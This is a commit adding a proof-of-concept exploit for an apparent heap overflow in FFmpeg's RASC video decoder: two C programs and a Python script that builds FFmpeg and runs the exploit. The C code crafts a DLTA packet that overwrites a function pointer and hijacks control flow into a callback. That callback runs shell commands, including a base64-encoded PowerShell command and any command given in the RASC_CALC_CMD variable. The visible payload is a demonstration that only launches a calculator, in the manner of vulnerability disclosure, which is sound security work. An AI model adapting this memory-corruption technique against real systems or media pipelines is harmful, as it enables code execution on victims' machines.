Upload files to "ffmpeg-rasc-dlta-calc-poc/poc"
This commit is contained in:
@@ -0,0 +1,240 @@
|
||||
#include <inttypes.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "libavcodec/avcodec.h"
|
||||
#include "libavutil/buffer.h"
|
||||
#include "libavutil/error.h"
|
||||
#include "libavutil/frame.h"
|
||||
#include "libavutil/mem.h"
|
||||
|
||||
#define FRAME_W 64
|
||||
#define FRAME_H 1
|
||||
#define RASC_INIT 0x54494e49u
|
||||
#define RASC_DLTA 0x41544c44u
|
||||
|
||||
typedef void (*demo_callback)(void);
|
||||
|
||||
typedef struct DemoChunk {
|
||||
uint8_t plane[FRAME_W];
|
||||
demo_callback cb;
|
||||
uint8_t palette[1024];
|
||||
} DemoChunk;
|
||||
|
||||
static DemoChunk *frame1_chunk;
|
||||
static DemoChunk *frame2_chunk;
|
||||
|
||||
static void benign_callback(void)
|
||||
{
|
||||
puts("[callback] benign callback reached");
|
||||
}
|
||||
|
||||
static void calc_callback(void)
|
||||
{
|
||||
const char *fallbacks[] = {
|
||||
"cmd.exe /c start calc.exe >/dev/null 2>&1",
|
||||
"xcalc >/dev/null 2>&1 &",
|
||||
"gnome-calculator >/dev/null 2>&1 &",
|
||||
"kcalc >/dev/null 2>&1 &"
|
||||
};
|
||||
|
||||
puts("[callback] hijacked callback reached");
|
||||
system("touch /tmp/ffmpeg_rasc_exec_demo");
|
||||
|
||||
if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0)
|
||||
return;
|
||||
|
||||
for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) {
|
||||
if (system(fallbacks[i]) == 0)
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
static void free_demo_chunk(void *opaque, uint8_t *data)
|
||||
{
|
||||
(void)opaque;
|
||||
av_free(data);
|
||||
}
|
||||
|
||||
static void put_le16(uint8_t *p, uint16_t v)
|
||||
{
|
||||
p[0] = (uint8_t)v;
|
||||
p[1] = (uint8_t)(v >> 8);
|
||||
}
|
||||
|
||||
static void put_le32(uint8_t *p, uint32_t v)
|
||||
{
|
||||
p[0] = (uint8_t)v;
|
||||
p[1] = (uint8_t)(v >> 8);
|
||||
p[2] = (uint8_t)(v >> 16);
|
||||
p[3] = (uint8_t)(v >> 24);
|
||||
}
|
||||
|
||||
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
|
||||
{
|
||||
put_le32(*cursor, tag);
|
||||
put_le32(*cursor + 4, body_size);
|
||||
*cursor += 8;
|
||||
}
|
||||
|
||||
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
|
||||
{
|
||||
const uint32_t init_body_size = 72 + 1024;
|
||||
const uint32_t dlta_cmd_size = 6;
|
||||
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
|
||||
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
|
||||
uint8_t *packet = av_mallocz(total);
|
||||
uint8_t *p = packet;
|
||||
uint8_t *body;
|
||||
uint32_t fill;
|
||||
|
||||
if (!packet)
|
||||
return NULL;
|
||||
|
||||
make_chunk(&p, RASC_INIT, init_body_size);
|
||||
body = p;
|
||||
put_le32(body + 0, 0x65);
|
||||
put_le32(body + 8, FRAME_W);
|
||||
put_le32(body + 12, FRAME_H);
|
||||
put_le16(body + 46, 8);
|
||||
for (int i = 0; i < 256; i++)
|
||||
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
|
||||
p += init_body_size;
|
||||
|
||||
make_chunk(&p, RASC_DLTA, dlta_body_size);
|
||||
body = p;
|
||||
put_le32(body + 12, dlta_cmd_size);
|
||||
put_le32(body + 16, FRAME_W - 1);
|
||||
put_le32(body + 20, 0);
|
||||
put_le32(body + 24, 1);
|
||||
put_le32(body + 28, 1);
|
||||
put_le32(body + 36, 0);
|
||||
|
||||
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
|
||||
body[40] = 7;
|
||||
body[41] = 1;
|
||||
put_le32(body + 42, fill);
|
||||
|
||||
*packet_size = total;
|
||||
return packet;
|
||||
}
|
||||
|
||||
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
|
||||
{
|
||||
static int allocation_index;
|
||||
DemoChunk *chunk;
|
||||
|
||||
(void)flags;
|
||||
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
|
||||
return AVERROR(EINVAL);
|
||||
|
||||
chunk = av_mallocz(sizeof(*chunk));
|
||||
if (!chunk)
|
||||
return AVERROR(ENOMEM);
|
||||
|
||||
chunk->cb = benign_callback;
|
||||
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
|
||||
if (!frame->buf[0]) {
|
||||
av_free(chunk);
|
||||
return AVERROR(ENOMEM);
|
||||
}
|
||||
|
||||
frame->data[0] = chunk->plane;
|
||||
frame->data[1] = chunk->palette;
|
||||
frame->linesize[0] = FRAME_W;
|
||||
frame->extended_data = frame->data;
|
||||
|
||||
if (allocation_index == 0)
|
||||
frame1_chunk = chunk;
|
||||
else if (allocation_index == 1)
|
||||
frame2_chunk = chunk;
|
||||
allocation_index++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void fail_av(const char *what, int err)
|
||||
{
|
||||
char buf[AV_ERROR_MAX_STRING_SIZE];
|
||||
av_strerror(err, buf, sizeof(buf));
|
||||
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
|
||||
AVCodecContext *ctx = NULL;
|
||||
AVPacket *pkt = NULL;
|
||||
AVFrame *frame = NULL;
|
||||
uint8_t *packet_data = NULL;
|
||||
size_t packet_size = 0;
|
||||
int ret;
|
||||
|
||||
if (!codec) {
|
||||
fputs("RASC decoder missing\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
|
||||
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
|
||||
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
|
||||
fputs("callbacks outside 24-bit overwrite window\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
ctx = avcodec_alloc_context3(codec);
|
||||
pkt = av_packet_alloc();
|
||||
frame = av_frame_alloc();
|
||||
if (!ctx || !pkt || !frame)
|
||||
fail_av("allocation", AVERROR(ENOMEM));
|
||||
|
||||
ctx->thread_count = 1;
|
||||
ctx->get_buffer2 = exploit_get_buffer2;
|
||||
|
||||
ret = avcodec_open2(ctx, codec, NULL);
|
||||
if (ret < 0)
|
||||
fail_av("avcodec_open2", ret);
|
||||
|
||||
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
|
||||
if (!packet_data)
|
||||
fail_av("make_packet", AVERROR(ENOMEM));
|
||||
|
||||
ret = av_new_packet(pkt, (int)packet_size);
|
||||
if (ret < 0)
|
||||
fail_av("av_new_packet", ret);
|
||||
memcpy(pkt->data, packet_data, packet_size);
|
||||
av_free(packet_data);
|
||||
|
||||
ret = avcodec_send_packet(ctx, pkt);
|
||||
if (ret < 0)
|
||||
fail_av("avcodec_send_packet", ret);
|
||||
|
||||
ret = avcodec_receive_frame(ctx, frame);
|
||||
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
|
||||
fail_av("avcodec_receive_frame", ret);
|
||||
|
||||
if (!frame2_chunk) {
|
||||
fputs("frame2 allocation missing\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
|
||||
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
|
||||
printf("[ptr] expected target=%p\n", (void *)calc_callback);
|
||||
|
||||
if (frame2_chunk->cb != calc_callback) {
|
||||
fputs("callback pointer unchanged\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
|
||||
frame2_chunk->cb();
|
||||
|
||||
av_frame_free(&frame);
|
||||
av_packet_free(&pkt);
|
||||
avcodec_free_context(&ctx);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
#include <inttypes.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "libavcodec/avcodec.h"
|
||||
#include "libavutil/buffer.h"
|
||||
#include "libavutil/error.h"
|
||||
#include "libavutil/frame.h"
|
||||
#include "libavutil/mem.h"
|
||||
|
||||
#define FRAME_W 64
|
||||
#define FRAME_H 1
|
||||
#define RASC_INIT 0x54494e49u
|
||||
#define RASC_DLTA 0x41544c44u
|
||||
|
||||
#ifdef _WIN32
|
||||
#define MARKER_PATH "ffmpeg_rasc_dlta_calc_poc_marker.txt"
|
||||
#else
|
||||
#define MARKER_PATH "/tmp/ffmpeg_rasc_dlta_calc_poc_marker"
|
||||
#endif
|
||||
|
||||
typedef void (*demo_callback)(void);
|
||||
|
||||
typedef struct DemoChunk {
|
||||
uint8_t plane[FRAME_W];
|
||||
demo_callback cb;
|
||||
uint8_t palette[1024];
|
||||
} DemoChunk;
|
||||
|
||||
static DemoChunk *frame1_chunk;
|
||||
static DemoChunk *frame2_chunk;
|
||||
|
||||
static void benign_callback(void)
|
||||
{
|
||||
puts("[callback] benign callback reached");
|
||||
}
|
||||
|
||||
static int run_command(const char *cmd)
|
||||
{
|
||||
return cmd && cmd[0] && system(cmd) == 0;
|
||||
}
|
||||
|
||||
static void calc_callback(void)
|
||||
{
|
||||
const char *override_cmd = getenv("RASC_CALC_CMD");
|
||||
const char *commands[] = {
|
||||
"open -a Calculator >/dev/null 2>&1",
|
||||
"gnome-calculator >/dev/null 2>&1 &",
|
||||
"kcalc >/dev/null 2>&1 &",
|
||||
"mate-calc >/dev/null 2>&1 &",
|
||||
"qalculate-gtk >/dev/null 2>&1 &",
|
||||
"xcalc >/dev/null 2>&1 &",
|
||||
"powershell.exe -NoProfile -Command Start-Process calc.exe >/dev/null 2>&1 &",
|
||||
"cmd.exe /c start calc.exe >/dev/null 2>&1"
|
||||
};
|
||||
FILE *marker;
|
||||
|
||||
puts("[callback] hijacked callback reached");
|
||||
marker = fopen(MARKER_PATH, "wb");
|
||||
if (marker) {
|
||||
fputs("callback reached\n", marker);
|
||||
fclose(marker);
|
||||
}
|
||||
|
||||
if (run_command(override_cmd))
|
||||
return;
|
||||
|
||||
for (size_t i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) {
|
||||
if (run_command(commands[i]))
|
||||
return;
|
||||
}
|
||||
|
||||
printf("[callback] calculator command not found; marker written to %s\n", MARKER_PATH);
|
||||
}
|
||||
|
||||
static void free_demo_chunk(void *opaque, uint8_t *data)
|
||||
{
|
||||
(void)opaque;
|
||||
av_free(data);
|
||||
}
|
||||
|
||||
static void put_le16(uint8_t *p, uint16_t v)
|
||||
{
|
||||
p[0] = (uint8_t)v;
|
||||
p[1] = (uint8_t)(v >> 8);
|
||||
}
|
||||
|
||||
static void put_le32(uint8_t *p, uint32_t v)
|
||||
{
|
||||
p[0] = (uint8_t)v;
|
||||
p[1] = (uint8_t)(v >> 8);
|
||||
p[2] = (uint8_t)(v >> 16);
|
||||
p[3] = (uint8_t)(v >> 24);
|
||||
}
|
||||
|
||||
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
|
||||
{
|
||||
put_le32(*cursor, tag);
|
||||
put_le32(*cursor + 4, body_size);
|
||||
*cursor += 8;
|
||||
}
|
||||
|
||||
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
|
||||
{
|
||||
const uint32_t init_body_size = 72 + 1024;
|
||||
const uint32_t dlta_cmd_size = 6;
|
||||
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
|
||||
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
|
||||
uint8_t *packet = av_mallocz(total);
|
||||
uint8_t *p = packet;
|
||||
uint8_t *body;
|
||||
uint32_t fill;
|
||||
|
||||
if (!packet)
|
||||
return NULL;
|
||||
|
||||
make_chunk(&p, RASC_INIT, init_body_size);
|
||||
body = p;
|
||||
put_le32(body + 0, 0x65);
|
||||
put_le32(body + 8, FRAME_W);
|
||||
put_le32(body + 12, FRAME_H);
|
||||
put_le16(body + 46, 8);
|
||||
for (int i = 0; i < 256; i++)
|
||||
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
|
||||
p += init_body_size;
|
||||
|
||||
make_chunk(&p, RASC_DLTA, dlta_body_size);
|
||||
body = p;
|
||||
put_le32(body + 12, dlta_cmd_size);
|
||||
put_le32(body + 16, FRAME_W - 1);
|
||||
put_le32(body + 20, 0);
|
||||
put_le32(body + 24, 1);
|
||||
put_le32(body + 28, 1);
|
||||
put_le32(body + 36, 0);
|
||||
|
||||
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
|
||||
body[40] = 7;
|
||||
body[41] = 1;
|
||||
put_le32(body + 42, fill);
|
||||
|
||||
*packet_size = total;
|
||||
return packet;
|
||||
}
|
||||
|
||||
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
|
||||
{
|
||||
static int allocation_index;
|
||||
DemoChunk *chunk;
|
||||
|
||||
(void)flags;
|
||||
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
|
||||
return AVERROR(EINVAL);
|
||||
|
||||
chunk = av_mallocz(sizeof(*chunk));
|
||||
if (!chunk)
|
||||
return AVERROR(ENOMEM);
|
||||
|
||||
chunk->cb = benign_callback;
|
||||
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
|
||||
if (!frame->buf[0]) {
|
||||
av_free(chunk);
|
||||
return AVERROR(ENOMEM);
|
||||
}
|
||||
|
||||
frame->data[0] = chunk->plane;
|
||||
frame->data[1] = chunk->palette;
|
||||
frame->linesize[0] = FRAME_W;
|
||||
frame->extended_data = frame->data;
|
||||
|
||||
if (allocation_index == 0)
|
||||
frame1_chunk = chunk;
|
||||
else if (allocation_index == 1)
|
||||
frame2_chunk = chunk;
|
||||
allocation_index++;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void fail_av(const char *what, int err)
|
||||
{
|
||||
char buf[AV_ERROR_MAX_STRING_SIZE];
|
||||
av_strerror(err, buf, sizeof(buf));
|
||||
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
|
||||
AVCodecContext *ctx = NULL;
|
||||
AVPacket *pkt = NULL;
|
||||
AVFrame *frame = NULL;
|
||||
uint8_t *packet_data = NULL;
|
||||
size_t packet_size = 0;
|
||||
int ret;
|
||||
|
||||
remove(MARKER_PATH);
|
||||
|
||||
if (!codec) {
|
||||
fputs("RASC decoder missing\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
|
||||
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
|
||||
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
|
||||
fputs("callbacks outside 24-bit overwrite window\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
ctx = avcodec_alloc_context3(codec);
|
||||
pkt = av_packet_alloc();
|
||||
frame = av_frame_alloc();
|
||||
if (!ctx || !pkt || !frame)
|
||||
fail_av("allocation", AVERROR(ENOMEM));
|
||||
|
||||
ctx->thread_count = 1;
|
||||
ctx->get_buffer2 = exploit_get_buffer2;
|
||||
|
||||
ret = avcodec_open2(ctx, codec, NULL);
|
||||
if (ret < 0)
|
||||
fail_av("avcodec_open2", ret);
|
||||
|
||||
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
|
||||
if (!packet_data)
|
||||
fail_av("make_packet", AVERROR(ENOMEM));
|
||||
|
||||
ret = av_new_packet(pkt, (int)packet_size);
|
||||
if (ret < 0)
|
||||
fail_av("av_new_packet", ret);
|
||||
memcpy(pkt->data, packet_data, packet_size);
|
||||
av_free(packet_data);
|
||||
|
||||
ret = avcodec_send_packet(ctx, pkt);
|
||||
if (ret < 0)
|
||||
fail_av("avcodec_send_packet", ret);
|
||||
|
||||
ret = avcodec_receive_frame(ctx, frame);
|
||||
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
|
||||
fail_av("avcodec_receive_frame", ret);
|
||||
|
||||
if (!frame2_chunk) {
|
||||
fputs("frame2 allocation missing\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
|
||||
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
|
||||
printf("[ptr] expected target=%p\n", (void *)calc_callback);
|
||||
|
||||
if (frame2_chunk->cb != calc_callback) {
|
||||
fputs("callback pointer unchanged\n", stderr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
|
||||
frame2_chunk->cb();
|
||||
|
||||
av_frame_free(&frame);
|
||||
av_packet_free(&pkt);
|
||||
avcodec_free_context(&ctx);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
import argparse
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def in_wsl():
|
||||
if "WSL_DISTRO_NAME" in os.environ:
|
||||
return True
|
||||
try:
|
||||
return "microsoft" in Path("/proc/version").read_text(errors="ignore").lower()
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
|
||||
def host_name():
|
||||
name = platform.system().lower()
|
||||
if in_wsl():
|
||||
return "wsl"
|
||||
if name == "darwin":
|
||||
return "macos"
|
||||
if name == "linux":
|
||||
return "linux"
|
||||
if name == "windows":
|
||||
return "windows"
|
||||
return name or "unknown"
|
||||
|
||||
|
||||
def command_program(command):
|
||||
parts = command.split()
|
||||
if len(parts) >= 2 and parts[0].lower() in {"cmd.exe", "cmd"} and parts[1].lower() == "/c":
|
||||
return parts[0]
|
||||
return parts[0] if parts else ""
|
||||
|
||||
|
||||
def command_exists(command):
|
||||
program = command_program(command)
|
||||
if not program:
|
||||
return False
|
||||
if program.lower() == "open" and host_name() == "macos":
|
||||
return shutil.which("open") is not None
|
||||
if program.lower() in {"cmd.exe", "powershell.exe"} and host_name() == "windows":
|
||||
return True
|
||||
return shutil.which(program) is not None
|
||||
|
||||
|
||||
def calc_candidates():
|
||||
host = host_name()
|
||||
if host == "macos":
|
||||
return ["open -a Calculator"]
|
||||
if host == "windows":
|
||||
return ["cmd.exe /c start calc.exe", "powershell.exe -NoProfile -Command Start-Process calc.exe"]
|
||||
if host == "wsl":
|
||||
return [
|
||||
"powershell.exe -NoProfile -Command Start-Process calc.exe",
|
||||
"cmd.exe /c start calc.exe",
|
||||
"gnome-calculator",
|
||||
"kcalc",
|
||||
"mate-calc",
|
||||
"qalculate-gtk",
|
||||
"xcalc",
|
||||
]
|
||||
return ["gnome-calculator", "kcalc", "mate-calc", "qalculate-gtk", "xcalc"]
|
||||
|
||||
|
||||
def choose_calc_command(preferred):
|
||||
if preferred:
|
||||
return preferred
|
||||
for command in calc_candidates():
|
||||
if command_exists(command):
|
||||
return command
|
||||
return ""
|
||||
|
||||
|
||||
def run(args, cwd=None, env=None):
|
||||
print("+ " + " ".join(str(x) for x in args), flush=True)
|
||||
subprocess.run([str(x) for x in args], cwd=cwd, env=env, check=True)
|
||||
|
||||
|
||||
def require_tool(name):
|
||||
path = shutil.which(name)
|
||||
if not path:
|
||||
raise SystemExit(f"missing required tool: {name}")
|
||||
return path
|
||||
|
||||
|
||||
def clone_ffmpeg(src, ref):
|
||||
if (src / ".git").exists():
|
||||
run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
|
||||
run(["git", "-C", src, "checkout", "FETCH_HEAD"])
|
||||
return
|
||||
run(["git", "clone", "--depth", "1", "https://github.com/FFmpeg/FFmpeg.git", src])
|
||||
if ref and ref != "master":
|
||||
run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
|
||||
run(["git", "-C", src, "checkout", "FETCH_HEAD"])
|
||||
|
||||
|
||||
def compiler():
|
||||
for name in [os.environ.get("CC"), "cc", "gcc", "clang"]:
|
||||
if name and shutil.which(name):
|
||||
return name
|
||||
raise SystemExit("missing C compiler: set CC or install gcc/clang")
|
||||
|
||||
|
||||
def build_poc(options):
|
||||
root = Path(__file__).resolve().parents[1]
|
||||
src = Path(options.ffmpeg_src).expanduser().resolve()
|
||||
build = Path(options.build_dir).expanduser().resolve()
|
||||
output = Path(options.output).expanduser().resolve()
|
||||
source_file = root / "poc" / "ffmpeg_rasc_dlta_calc_poc_portable.c"
|
||||
cc = compiler()
|
||||
|
||||
require_tool("git")
|
||||
require_tool("make")
|
||||
clone_ffmpeg(src, options.ffmpeg_ref)
|
||||
build.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
configure = [
|
||||
src / "configure",
|
||||
"--enable-debug",
|
||||
"--disable-doc",
|
||||
"--disable-stripping",
|
||||
"--disable-x86asm",
|
||||
"--disable-programs",
|
||||
"--disable-autodetect",
|
||||
"--disable-everything",
|
||||
"--enable-zlib",
|
||||
"--enable-decoder=rasc",
|
||||
]
|
||||
run(configure, cwd=build)
|
||||
run(["make", f"-j{options.jobs}", "libavcodec/libavcodec.a", "libavutil/libavutil.a"], cwd=build)
|
||||
|
||||
libs = ["-lz", "-lm", "-pthread"]
|
||||
if host_name() not in {"macos", "windows"}:
|
||||
libs.append("-ldl")
|
||||
|
||||
compile_cmd = [
|
||||
cc,
|
||||
"-g",
|
||||
"-O0",
|
||||
f"-I{build}",
|
||||
f"-I{src}",
|
||||
source_file,
|
||||
build / "libavcodec/libavcodec.a",
|
||||
build / "libavutil/libavutil.a",
|
||||
*libs,
|
||||
"-o",
|
||||
output,
|
||||
]
|
||||
run(compile_cmd)
|
||||
return output
|
||||
|
||||
|
||||
def run_poc(binary, calc_command):
|
||||
env = os.environ.copy()
|
||||
if calc_command:
|
||||
env["RASC_CALC_CMD"] = calc_command
|
||||
print(f"selected calc command: {calc_command}", flush=True)
|
||||
else:
|
||||
print("no local calculator command found; marker file still proves callback execution", flush=True)
|
||||
run([binary], env=env)
|
||||
marker = Path("ffmpeg_rasc_dlta_calc_poc_marker.txt") if host_name() == "windows" else Path("/tmp/ffmpeg_rasc_dlta_calc_poc_marker")
|
||||
if marker.exists():
|
||||
print(f"marker:present {marker}", flush=True)
|
||||
else:
|
||||
print(f"marker:missing {marker}", flush=True)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Build and run the portable FFmpeg RASC DLTA calc PoC for this OS.")
|
||||
parser.add_argument("--mode", choices=["print", "build", "run"], default="run")
|
||||
parser.add_argument("--ffmpeg-src", default="/tmp/ffmpeg-rasc-dlta-src")
|
||||
parser.add_argument("--build-dir", default="/tmp/ffmpeg-rasc-dlta-build")
|
||||
parser.add_argument("--output", default="./ffmpeg_rasc_dlta_calc_poc_portable")
|
||||
parser.add_argument("--ffmpeg-ref", default="master")
|
||||
parser.add_argument("--calc-cmd", default="")
|
||||
parser.add_argument("--jobs", default=str(os.cpu_count() or 4))
|
||||
options = parser.parse_args()
|
||||
|
||||
calc_command = choose_calc_command(options.calc_cmd)
|
||||
print(f"host: {host_name()}", flush=True)
|
||||
print(f"calc command: {calc_command or 'not found'}", flush=True)
|
||||
|
||||
if options.mode == "print":
|
||||
return
|
||||
|
||||
binary = build_poc(options)
|
||||
if options.mode == "run":
|
||||
run_poc(binary, calc_command)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except subprocess.CalledProcessError as exc:
|
||||
sys.exit(exc.returncode)
|
||||
Reference in New Issue
Block a user